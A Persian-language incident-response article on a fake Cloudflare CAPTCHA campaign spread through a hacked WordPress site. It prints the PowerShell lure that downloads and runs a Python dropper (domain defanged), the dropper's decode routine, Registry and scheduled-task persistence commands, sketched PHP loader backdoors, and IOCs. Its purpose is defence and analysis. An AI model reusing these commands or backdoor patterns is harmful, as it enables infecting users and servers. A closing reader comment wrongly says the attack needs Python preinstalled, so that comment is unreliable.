تحلیل فنی Fake Cloudflare CAPTCHA Malware در وردپرس
در این مقاله یک سناریوی واقعی از آلودگی وردپرس با Fake Cloudflare CAPTCHA Malware را بررسی می کنیم؛ از صفحه جعلی Cloudflare و PowerShell مخرب تا فایل Captcha.py
لیست مطالب
- Fake Cloudflare CAPTCHA Malware چیست؟
- زنجیره آلودگی در سناریوی واقعی
- نمونه دستور PowerShell مشاهده شده
- تحلیل فایل Captcha.py
- فایل های Decode شده از Captcha.py
- Persistence در ویندوز
- چرا این Malware برای کاربران خطرناک است؟
- بخش سرور: آلودگی وردپرس و بکدورهای PHP
- اهمیت POST به فایل های PHP داخل wp-content
- ارتباط آلودگی با مصرف شدید RAM و Swap
- IOC های این پرونده
- درس های امنیتی این پرونده
در سال های اخیر، مهاجمان برای آلوده کردن کاربران نهایی فقط به Exploit های پیچیده متکی نیستند. یکی از روش های بسیار موثر، سوء استفاده از اعتماد کاربر به برندهای شناخته شده مثل Cloudflare است. در این تکنیک، کاربر با صفحه ای مواجه می شود که شبیه صفحه تایید انسانی Cloudflare طراحی شده است؛ اما در واقع هدف آن اجرای یک دستور مخرب روی سیستم قربانی است.
در یک سناریوی واقعی که روی یک وب سایت وردپرسی با دامنه فرضی example.com بررسی شد، مهاجم پس از نفوذ به وردپرس، صفحه ای جعلی با ظاهر Cloudflare CAPTCHA نمایش می داد. این صفحه از کاربر می خواست برای تکمیل فرآیند Verification یک دستور را اجرا کند. دستور مورد نظر یک PowerShell مخرب بود که فایل هایی را از اینترنت دانلود می کرد، نسخه Embed شده Python را روی سیستم قربانی قرار می داد و سپس یک اسکریپت به نام Captcha.py را اجرا می کرد.
این پرونده فقط یک تزریق ساده JavaScript یا یک Defacement معمولی نبود. بررسی های فنی نشان داد که زنجیره آلودگی شامل چند لایه بود:
- صفحه جعلی Cloudflare CAPTCHA برای فریب کاربر
- PowerShell برای دانلود و اجرای Payload
- فایل Python Dropper با نام
Captcha.py - استخراج و اجرای فایل های ویندوزی مانند
LockScreenContentServer.exe - ایجاد Persistence در Windows Registry و Scheduled Task
- بکدورهای PHP در فایل های قالب وردپرس
- فایل ELF لینوکسی مخفی شده داخل مسیر پلاگین وردپرس
- مصرف شدید RAM و Swap روی سرور به دلیل اجرای پردازش های غیرعادی
این مقاله با هدف آشنایی متخصصان امنیت سایبری، مدیران سرور، Malware Analyst ها و تیم های Incident Response نوشته شده است.

Fake Cloudflare CAPTCHA Malware چیست؟
Fake Cloudflare CAPTCHA Malware یک تکنیک Malware Delivery است که در آن مهاجم صفحه ای شبیه تایید امنیتی Cloudflare نمایش می دهد تا کاربر باور کند در حال عبور از یک مرحله امنیتی معتبر است.
در حالت عادی، Cloudflare ممکن است برای مقابله با Bot ها صفحه هایی مانند Challenge، Turnstile یا Browser Verification نمایش دهد. مهاجم از همین ذهنیت سوء استفاده می کند و صفحه ای جعلی می سازد که ظاهرا از کاربر می خواهد ثابت کند ربات نیست؛ اما در واقع کاربر را به اجرای یک دستور مخرب هدایت می کند.
در سناریوی بررسی شده، متن فریبنده شامل عبارتی شبیه این بود:
I am not a robot - Cloudflare ID: 6e94ea3488fdde96
این عبارت از نظر روانی برای کاربر قابل قبول به نظر می رسد، چون با مفهوم Cloudflare Verification همخوانی دارد. اما پشت صحنه، هدف اصلی اجرای PowerShell و نصب Payload روی سیستم ویندوزی کاربر بود.
زنجیره آلودگی در سناریوی واقعی
در این پرونده، زنجیره حمله به شکل زیر بازسازی شد:
Compromised WordPress Website
↓
Fake Cloudflare CAPTCHA Page
↓
User Social Engineering
↓
PowerShell Execution
↓
Download malicious ZIP from external domain
↓
Download embedded Python from python.org
↓
Extract Python runtime
↓
Run C:\ProgramData\Captcha.py
↓
Drop EXE, DLL and BAT files
↓
Persistence via Registry and Scheduled Task
↓
Execute main binary
در اینجا، سایت وردپرسی فقط نقطه شروع زنجیره بود. قربانی اصلی، کاربر بازدید کننده بود که با اعتماد به ظاهر Cloudflare، دستور مخرب را اجرا می کرد.
نمونه دستور PowerShell مشاهده شده
در سناریوی واقعی، دستور PowerShell تقریبا چنین رفتاری داشت. آدرس دامنه در این مقاله Defang شده است و نباید اجرا شود:
cls; Write-Host "Starting verifying..." -ForegroundColor Green; $w=New-Object Net.WebClient; $w.DownloadFile('hxxps://cooldogshistory[.]com/get_verify?i=4520',"$env:TEMP\a.zip"); $w=New-Object Net.WebClient; $w.DownloadFile('hxxps://www.python.org/ftp/python/3.5.0/python-3.5.0rc4-embed-amd64.zip',"$env:TEMP\b.zip"); Expand-Archive "$env:TEMP\b.zip" -DestinationPath "C:\ProgramData\1"; Expand-Archive "$env:TEMP\a.zip" -DestinationPath "C:\ProgramData\"; $p=New-Object Diagnostics.ProcessStartInfo; $p.FileName='C:\ProgramData\1\python.exe'; $p.Arguments='C:\ProgramData\Captcha.py'; $p.WindowStyle='Hidden'; $p.CreateNoWindow=$true; $p.UseShellExecute=$false; [Diagnostics.Process]::Start($p)|Out-Null; Write-Host "I am not a robot - Cloudflare ID: 6e94ea3488fdde96" -ForegroundColor Green
این دستور چند نکته مهم دارد:
- با
clsو پیام سبز رنگ، ظاهر یک فرآیند عادی Verification را ایجاد می کند. - از
Net.WebClientبرای دانلود Payload استفاده می کند. - یک ZIP مخرب را از دامنه خارجی دریافت می کند.
- Python Embed رسمی را از
python.orgدانلود می کند تا بدون نیاز به نصب Python روی سیستم قربانی، اسکریپت Python اجرا شود. - فایل
Captcha.pyرا از مسیرC:\ProgramData\با پنجره Hidden اجرا می کند. - با نمایش پیام
I am not a robotحس موفقیت و عادی بودن فرآیند را به قربانی القا می کند.
این الگو بسیار خطرناک است، چون کاربر فکر می کند در حال انجام یک مرحله امنیتی است، در حالی که عملا در حال اجرای Dropper است.

تحلیل فایل Captcha.py
فایل Captcha.py در بررسی استاتیک، یک Dropper بود. این فایل از ماژول هایی مانند os، sys، subprocess، hashlib، datetime و time استفاده می کرد و وظیفه اصلی آن Decode کردن Resource های داخلی و نوشتن فایل های باینری روی دیسک بود.
در منطق فایل، یک تابع با رفتار زیر دیده شد:
def deploy_resource_data(resource_map, content, output_path):
source_tokens = resource_map.split(" ")
target_tokens = content.split(" ")
indices = []
for token in target_tokens:
try:
idx = source_tokens.index(token)
except ValueError:
idx = 0
indices.append(idx & 0xFF)
with open(output_path, "wb") as f:
f.write(bytes(indices))
این یعنی Payload ها به شکل مستقیم و واضح داخل فایل ذخیره نشده بودند. به جای آن، فایل از یک resource_map و چند رشته Obfuscated استفاده می کرد. سپس برای هر Token، Index آن را محاسبه می کرد و خروجی نهایی را به صورت باینری روی دیسک می نوشت.
این روش باعث می شود تحلیل سریع با ابزارهای ساده سخت تر شود، چون فایل اصلی در نگاه اول فقط شامل رشته های بی معنا مثل Token های تصادفی است.
فایل های Decode شده از Captcha.py
در بررسی آفلاین، فایل Captcha.py سه Resource اصلی را Decode و Deploy می کرد:
C:\ProgramData\LockScreenContentServer tLbTJkHkV9RD\LockScreenContentServer.exe
C:\ProgramData\LockScreenContentServer tLbTJkHkV9RD\dui70.dll
C:\ProgramData\LockScreenContentServer tLbTJkHkV9RD\tLbTJkHkV9RD.bat
مشخصات فایل های Decode شده در این نمونه:
LockScreenContentServer.exe
Type: PE32+ Windows GUI x64
Size: 49,720 bytes
SHA256: de9d325af3156232c34916840210efb5706d6e6a5eba1827c8240e4f71c09fa2
dui70.dll
Type: PE32+ Windows DLL x64
Size: 2,091,520 bytes
SHA256: dd8c750cf97aa6771d8a95ed89d53e5fdf2df4e6c6b2f8faa87e275ac26b538f
tLbTJkHkV9RD.bat
Type: Windows Batch Script
Size: 1,249 bytes
SHA256: d2da8de0d4b8eb539b4003f5bf60b9c8bd5feda42aaa03cb877a2bd364869948
نام LockScreenContentServer ظاهری شبیه فایل های سیستمی یا Microsoft دارد. این تکنیک Masquerading نام دارد. مهاجم از نامی استفاده می کند که در نگاه اول بی خطر یا سیستمی به نظر برسد.
Persistence در ویندوز
فایل Batch استخراج شده، برای ماندگاری یا Persistence از دو روش استفاده می کرد:
1. Registry Run Key
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "LockScreenContentServer S3qiRLMrGjJn" /t REG_SZ /d "\"%~1\"" /f
این دستور باعث می شود فایل اجرایی در هر بار Login کاربر اجرا شود.
2. Scheduled Task
schtasks /create /tn "LockScreenContentServer_S3qiRLMrGjJn" /tr "\"%~1\"" /sc minute /mo 60 /f
این Task هر 60 دقیقه اجرا می شود. چنین رفتاری نشان می دهد مهاجم فقط به اجرای یک باره Payload اکتفا نکرده و قصد حفظ دسترسی روی سیستم قربانی را داشته است.
چرا این Malware برای کاربران خطرناک است؟
در این سناریو، کاربر نهایی ممکن است تنها یک صفحه CAPTCHA جعلی ببیند، اما در پشت صحنه چند اتفاق خطرناک رخ می دهد:
- اجرای کد مخرب روی سیستم قربانی
- دانلود Payload از دامنه خارجی
- اجرای Python Runtime مخفی
- Drop کردن فایل EXE و DLL در
C:\ProgramData - ایجاد Persistence در Registry
- ایجاد Scheduled Task
- احتمال سرقت Cookie ها و Session ها
- احتمال سرقت اطلاعات مرورگر
- احتمال سرقت Token های Telegram، Discord یا سرویس های مشابه
- احتمال نصب Payload مرحله دوم
- احتمال تبدیل سیستم قربانی به بخشی از Botnet
- احتمال استفاده از سیستم قربانی برای دسترسی به پنل های مدیریتی و حساب های حساس
نکته مهم این است که در چنین حمله ای، وب سایت آلوده فقط آسیب نمی بیند؛ بلکه به ابزار توزیع Malware علیه کاربران خودش تبدیل می شود.
بخش سرور: آلودگی وردپرس و بکدورهای PHP
در این پرونده، بررسی فایل های وردپرس نشان داد که مهاجم فقط صفحه جعلی تزریق نکرده بود. چند بکدور PHP نیز در فایل های قالب و مسیرهای حساس قرار گرفته بودند.
یکی از بکدورها با پارامتر key فعال می شد. رفتار آن به شکل خلاصه چنین بود:
if (isset($_REQUEST["key"])) {
$payload = hex2bin($_REQUEST["key"]);
// XOR decode with 37
file_put_contents(".element", $decoded_payload);
include ".element";
unlink ".element";
die();
}
این نوع بکدور بسیار خطرناک است، چون Payload را مستقیم داخل فایل ذخیره نمی کند. مهاجم در هر درخواست، Payload جدید می فرستد؛ بکدور آن را Decode می کند، در فایلی موقت مثل .element می نویسد، اجرا می کند و بعد حذف می کند.
در نمونه دیگر، پارامتر marker استفاده می شد:
if (array_key_exists("marker", $_REQUEST)) {
// dot-separated numeric payload
// custom decode
$entity = $bind . "/.data";
file_put_contents($entity, $dchunk);
require $entity;
unlink($entity);
exit;
}
این الگو نشان می دهد مهاجم از PHP Loader استفاده کرده بود؛ یعنی بکدور اصلی فقط یک Loader کوچک است و Payload واقعی به صورت Dynamic از Request دریافت می شود.
اهمیت POST به فایل های PHP داخل wp-content
در لاگ های وب سرور، درخواست های POST به فایل های PHP داخل wp-content مشاهده شد. نمونه مسیرهای مشکوک:
/wp-content/themes/example-theme/woocommerce/loop/loop-start.php
/wp-content/plugins/woocommerce/patterns/page-coming-soon-with-header-footer.php
/wp-content/themes/example-theme/inc/prk-size-guide/prkSizeGuideSettings.php
در وردپرس سالم، معمولا درخواست POST مستقیم به فایل های PHP داخل قالب یا پلاگین طبیعی نیست. بیشتر درخواست های معتبر باید از طریق مسیرهای استاندارد مثل wp-admin/admin-ajax.php، REST API یا Endpoint های تعریف شده انجام شوند.
بنابراین، یکی از Rule های موثر برای کاهش ریسک این است:
RewriteEngine On
RewriteCond %{REQUEST_METHOD} POST
RewriteCond %{REQUEST_URI} ^/wp-content/.*\.php$ [NC]
RewriteRule .* - [F,L]
این Rule باید با دقت تست شود، چون برخی پلاگین ها ممکن است رفتار غیر استاندارد داشته باشند. اما در اغلب سایت های وردپرسی، POST مستقیم به PHP داخل wp-content یک Indicator بسیار قوی برای Exploit یا Backdoor است.
ارتباط آلودگی با مصرف شدید RAM و Swap
در سرور example.com، لاگ های Kernel نشان می دادند که سیستم دچار Out of Memory شده است. نمونه رخدادها:
Out of memory: Killed process mariadbd
Free swap = 0kB
Total swap = 4194300kB
task_memcg=/system.slice/lsws.service
task=lsphp
uid=65534
در ادامه، پردازش هایی با نام های غیر عادی زیر زیر مجموعه lsws.service و کاربر nobody دیده شدند:
networkd
chromium
picom
openbox
colord
firefox
در یک سرور وردپرسی عادی، مشاهده نام هایی مثل chromium، openbox، picom یا firefox زیر Context وب سرور بسیار مشکوک است. این نشانه می تواند به اجرای Payload، ابزارهای Headless، پردازش های مخفی یا Malware مرحله دوم اشاره کند.
بنابراین، وقتی یک سایت وردپرسی هم زمان این نشانه ها را دارد:
Fake CAPTCHA
PHP Backdoor
ELF file inside wp-content
OOM under lsws.service
Unusual process names under nobody
باید حادثه را به عنوان Compromise کامل سرور بررسی کرد، نه فقط یک آلودگی ساده وردپرس.
IOC های این پرونده
Domain و URL
cooldogshistory[.]com
hxxps://cooldogshistory[.]com/get_verify?i=4520
Windows Paths
C:\ProgramData\Captcha.py
C:\ProgramData\a.zip
C:\ProgramData\b.zip
C:\ProgramData\1\python.exe
C:\ProgramData\LockScreenContentServer tLbTJkHkV9RD\
C:\ProgramData\LockScreenContentServer tLbTJkHkV9RD\LockScreenContentServer.exe
C:\ProgramData\LockScreenContentServer tLbTJkHkV9RD\dui70.dll
C:\ProgramData\LockScreenContentServer tLbTJkHkV9RD\tLbTJkHkV9RD.bat
Registry
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Value: LockScreenContentServer S3qiRLMrGjJn
Scheduled Task
LockScreenContentServer_S3qiRLMrGjJn
File Hashes
LockScreenContentServer.exe
SHA256: de9d325af3156232c34916840210efb5706d6e6a5eba1827c8240e4f71c09fa2
dui70.dll
SHA256: dd8c750cf97aa6771d8a95ed89d53e5fdf2df4e6c6b2f8faa87e275ac26b538f
tLbTJkHkV9RD.bat
SHA256: d2da8de0d4b8eb539b4003f5bf60b9c8bd5feda42aaa03cb877a2bd364869948
WordPress Indicators
/wp-content/plugins/wordpress-seo/inc/options/TAMAUser.class
/wp-content/themes/*/woocommerce/loop/loop-start.php
/wp-content/themes/*/inc/*/*.php
/wp-content/plugins/*/patterns/*.php
Suspicious Strings
Cloudflare ID
I am not a robot
Starting verifying
DownloadFile
Expand-Archive
Captcha.py
LockScreenContentServer
python-3.5.0rc4-embed-amd64.zip
get_verify?i=
cooldogshistory
hex2bin
file_put_contents
include
require
.element
.data
marker
درس های امنیتی این پرونده
این پرونده چند نکته مهم برای متخصصان امنیت سایبری دارد:
- Fake CAPTCHA فقط یک فریب ظاهری نیست؛ می تواند بخشی از یک Malware Delivery Chain کامل باشد.
- آلودگی وردپرس ممکن است همزمان کاربران نهایی و خود سرور را هدف قرار دهد.
- وجود فایل ELF داخل
wp-contentیک Indicator بسیار جدی است. - OOM شدن سرور وردپرسی همیشه به معنی ترافیک زیاد یا DoS نیست؛ گاهی ناشی از اجرای Payload های مخرب است.
- درخواست POST مستقیم به PHP داخل
wp-contentباید جدی گرفته شود. - بکدورهای Loader محور معمولا Payload را موقت می نویسند، اجرا می کنند و حذف می کنند.
- آنتی ویروس به تنهایی کافی نیست؛ باید فایل های آلوده با نسخه سالم جایگزین شوند.
- بررسی دیتابیس کافی نیست؛ فایل ها، کش، لاگ ها، پردازش ها و سطح سیستم عامل هم باید بررسی شوند.
- Fake Cloudflare CAPTCHA می تواند باعث آسیب اعتباری جدی به یک وب سایت شود، چون کاربران سایت مستقیما آلوده می شوند.
- در چنین حادثه ای باید فرض را بر Compromise کامل بگذاریم تا خلافش ثابت شود.
دیدگاه های مربوط به این مقاله (برای ارسال دیدگاه در سایت حتما باید عضو باشید و پروفایل کاربری شما تکمیل شده باشد)
تعداد 3 دیدگاه ثبت شده
سلام در صورت مشاهده این پیام بر روی سیستم (کاربر) و اجرای پاورشل راه حل نهایی برای حفاظت و حل مشکلات ایجاد شده چیه؟
سلام تا زمانی که شما خودتون دستور رو اشتباها در پاور شل اجرا نکنید هیچ اتفاقی رخ نمی ده ولی اگر دستوررو اجرا کردید و فایل با موفقیت دانلود و از طریق پایتونی که روی سیستم شما نصب هست اجرا بشه عملا سستم شما آلوده شده و چون ممکنه حتی باج افزار روی سیستم شما اجرا بشه اگر آنتی ویروس ندارید و جلوشو چیزی نگرفت سریعا سیستم رو خاموش کنید و به یک متخصص نشون بدید و اگر کسی رو ندارید ویندوز عوض کنید .
یکی از ضعف های این روشی که استفاده کرده افراد مهاجم استفاده از پایتون هست که لازمه روی سیستم کاربر نصب باشه .